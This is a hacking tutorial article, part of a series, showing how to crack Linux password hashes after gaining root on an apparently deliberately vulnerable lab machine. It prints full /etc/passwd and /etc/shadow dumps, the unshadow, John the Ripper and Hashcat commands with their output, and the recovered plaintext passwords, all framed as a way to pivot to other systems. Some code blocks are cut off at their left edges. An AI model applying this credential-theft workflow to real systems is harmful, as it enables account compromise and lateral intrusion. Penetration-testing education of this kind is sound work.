HOW TO

Crack Shadow Hashes After Getting Root on a Linux System

BY DRD_ 08/21/2018 5:56 PM 08/30/2018 4:42 PM PASSWORD CRACKING

After gaining access to a root account, the next order of business is using that power to do something more significant. If the user passwords on the system can be obtained and cracked, an attacker can use them to pivot to other machines if the login is the same across systems. There are two tried-and-true password cracking tools that can accomplish this: John the Ripper and Hashcat.

- **Previously:** Perform Local Privilege Escalation Using a Linux Kernel Exploit

Passwd & Shadow File Overview

A couple files of particular interest on Linux systems are the **/etc/passwd** and **/etc/shadow** files. The /etc/passwd file contains basic information about each user account on the system, including

the root user which has full administrative rights, system service accounts, and actual users. There are seven fields in each line of /etc/passwd. A typical line looks something like this:

```
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
```

The first field is the user's login name. The second field traditionally contained an encrypted password, but nowadays (unless you get extremely lucky) it merely contains the letter "x," to denote that a password has been assigned. If this field is blank, the user does not need to supply a password to log in.

The third field is the user ID, a unique number assigned to the user, followed by the group ID in the fourth field. The fifth field is typically the full name of the user, although this can also be left blank. The sixth field is the user's home directory, and finally, the seventh field is the default shell, usually set to /bin/bash.

The /etc/shadow file contains the encrypted passwords of users on the system. While the /etc/passwd file is typically world-readable, the /etc/shadow is only readable by the root account. The shadow file also contains other information such as password expiration dates. A typical line in /etc/shadow will look like this:

```
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
```

Since we have achieved root-level access with our kernel exploit, we can use these files to uncover passwords of other users in the hopes of pivoting to other systems and furthering exploitation.

Cracking Hashes with John the Ripper

The first thing we need to do is copy the contents of /etc/passwd and /etc/shadow into their own text files on our local machine; let's call them **passwd.txt** and **shadow.txt**, respectfully.

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
```

```
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

```
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
```

```
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
```

John the Ripper is a popular password cracking tool that supports many common hash types as well as a useful autodetect feature. It has been around for a while now, and as such, it continues to be one of the strongest and easiest to use crackers available.

- **Don't Miss:** Crack User Passwords in a Linux System with John the Ripper

Before we can feed the hashes we obtained into John, we need to use a utility called **unshadow** to combine the passwd and shadow files into a format that John can read. Run the following command to merge the data into a new text file called passwords.txt.

```
unshadow passwd.txt shadow.txt > passwords.txt
```

John can run on its own by just typing **john** plus whatever file you are using for input, but it's often much more useful to supply a wordlist. There are some wordlists available for use under the **/usr/share/wordlists** directory, but for now, we'll use **sqlmap.txt** since it is quite a nice list. Use the **--wordlist** flag to specify the list to use and pass in our input file:

```
ist=/usr/share/wordlists/sqlmap.txt passwords.txt
ected hash type "md5crypt", but the string is also recognized as "aix-smd5"
ormat=aix-smd5" option to force loading these as that type instead
t input encoding: UTF-8
sword hashes with 7 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3])
password hash
 Ctrl-C to abort, almost any other key for status
1 DONE (2018-08-06 14:10) 0g/s 27478p/s 27478c/s 27478C/s Zzzzzzz1..zzzzzzzzzzzzzzz
leted
```

- **Don't Miss:** Use Leaked Password Databases to Create Brute-Force Wordlists

We can see that John detects the type of hash used as md5crypt, also known as aix-smd5, and after a bit of time, it completes the session successfully. Now we can use the **--show** flag to display the cracked passwords that John successfully recovered:

```
john --show passwords.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash

6 password hashes cracked, 1 left
```

After the username in the first field, we can now see the cleartext password in the second field. It tells us that six out of seven password hashes were cracked; Depending on the hardware being used, the wordlist that's supplied, and the length and complexity of the passwords, various levels of success will be achieved.

Cracking Hashes with Hashcat

The next tool that we will look at is Hashcat. This is an extremely powerful hash-cracking tool with a ton of features and both CPU-based and GPU-based versions available. As of Hashcat v3.00, the CPU and GPU tools were merged, with the CPU-only version becoming Hashcat-legacy.

- **Don't Miss:** How to Crack Passwords Using Hashcat

Unlike John, the easiest way to use Hashcat is to only supply the password hashes themselves. Copy any hashes we want to crack into a new text file that we'll call **hashes.txt**:

```
cat hashes.txt
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0
$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//
```

Hashcat contains numerous modes that it can run as depending on the type of hash being used. We saw earlier that John identified our shadow hashes as md5crypt, so we can type **hashcat --**

help to display all the options for this tool as well as the different modes available. Down the list, we find that md5crypt is mode 500:

```
  0500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
  3200 | bcrypt $2*$, Blowfish (Unix)                     | Operating Systems
  7400 | sha256crypt $5$, SHA256 (Unix)                   | Operating Systems
  1800 | sha512crypt $6$, SHA512 (Unix)                   | Operating Systems
   122 | macOS v10.4, MacOS v10.5, MacOS v10.6            | Operating Systems
  1722 | macOS v10.7                                      | Operating Systems
  7100 | macOS v10.8+ (PBKDF2-SHA512)                     | Operating Systems
```

Run the following command to start cracking.

```
shcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/sqlmap.txt -O
shcat (v4.1.0) starting...

Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss.
           You can use --force to override, but do not report related errors.
enCL Platform #1: Intel(R) Corporation
======================================
Device #1: Intel(R) Core(TM) i5 CPU       M 480  @ 2.67GHz, 934/3736 MB allocatable, 4

enCL Platform #2: The pocl project
==================================
Device #2: pthread-Intel(R) Core(TM) i5 CPU       M 480  @ 2.67GHz, skipped.

shes: 7 digests; 7 unique digests, 7 unique salts
tmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
les: 1

plicable optimizers:
Optimized-Kernel
Zero-Byte
```

Let's break this down.

- The **-m** flag specifies the mode we want to use.
- The **-a** flag determines the attack type, in this case, **0** as the default straight mode.
- Then we specify the output file as **cracked.txt** with the **-o** flag and pass in **hashes.txt** as our input file that contains the hashes. We can also use a wordlist just like we did before with John.
- Finally, the **-O** flag enables optimized kernels (this may or may not need to be enabled depending on the system in use, just know that it does limit the password length).

At any point while Hashcat is running, we can check the progress by simply typing **s** to display status:

```
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Aug  6 14:18:10 2018 (30 secs)
Time.Estimated...: Mon Aug  6 14:21:08 2018 (2 mins, 28 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    15816 H/s (7.84ms) @ Accel:256 Loops:125 Thr:1 Vec:4
Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts
Progress.........: 1648627/9845703 (16.74%)
Rejected.........: 3059/1648627 (0.19%)
Restore.Point....: 234929/1406529 (16.70%)
Candidates.#1....: 9dH8eJEs -> 9notenler
HWMon.Dev.#1.....: N/A
```

Once the process is almost finished, a message will be displayed followed by some information such as speed, the number of hashes recovered, and start and stop times.

```
Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Aug  6 14:18:10 2018 (2 mins, 59 secs)
Time.Estimated...: Mon Aug  6 14:21:09 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    15738 H/s (8.15ms) @ Accel:256 Loops:125 Thr:1 Vec:4
Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts
Progress.........: 9845703/9845703 (100.00%)
Rejected.........: 30891/9845703 (0.31%)
Restore.Point....: 1406529/1406529 (100.00%)
Candidates.#1....: zzbell0506 -> zzzzzzzzzzzzzz
HWMon.Dev.#1.....: N/A

Started: Mon Aug  6 14:18:06 2018
Stopped: Mon Aug  6 14:21:10 2018
```

Now we can display the contents of cracked.txt and view the passwords in plaintext:

```
cat cracked.txt
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user
```

Online Hash Cracking

The prevalence of cloud technologies and distributed computing brings a whole new angle to password cracking. Most of the time, hackers are running a virtual machine, laptop, or at best, a powerful desktop computer, but many online services utilize dedicated servers and resources for cracking hashes. Sites such as CrackStation, Online Hash Crack, and MD5/Sha1 Hash Cracker offer the convenience of password cracking right from the browser. None of these seemed to support the md5crypt hashes that we had, but it's easy to find support for many common hash formats such as MD5, SHA1, and LM.

One last quick note: If you can't find the right hash format online, or even if you just want to possibly save some time, it certainly doesn't hurt to consult Google. Sometimes if you just search for the exact hash you are trying to crack, you can get results. Chances are if it's a default or common password, or if it's a hash that's been cracked before, you can find it in the search results. A quick Google search could end up saving you a lot of time and effort.

Wrapping Up

In this series, we learned how to use Metasploit to compromise a web server and get a low-level shell, used a kernel exploit to perform local privilege escalation and gain root-level access, and cracked some password hashes using John the Ripper and Hashcat. A lot of times, a system can be owned using this exact same process, only with different exploits and attack vectors. Now that you have some more tools and techniques under your belts, get out there and practice away. Happy hacking!

Buy Now (90% off) >

Other worthwhile deals to check out:

- 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
- 99% off The 2021 All-in-One Data Scientist Mega Bundle
- 98% off The 2021 Premium Learn To Code Certification Bundle
- 62% off MindMaster Mind Mapping Software: Perpetual License

Cover image by succo/Pixabay; Screenshots by drd_/Null Byte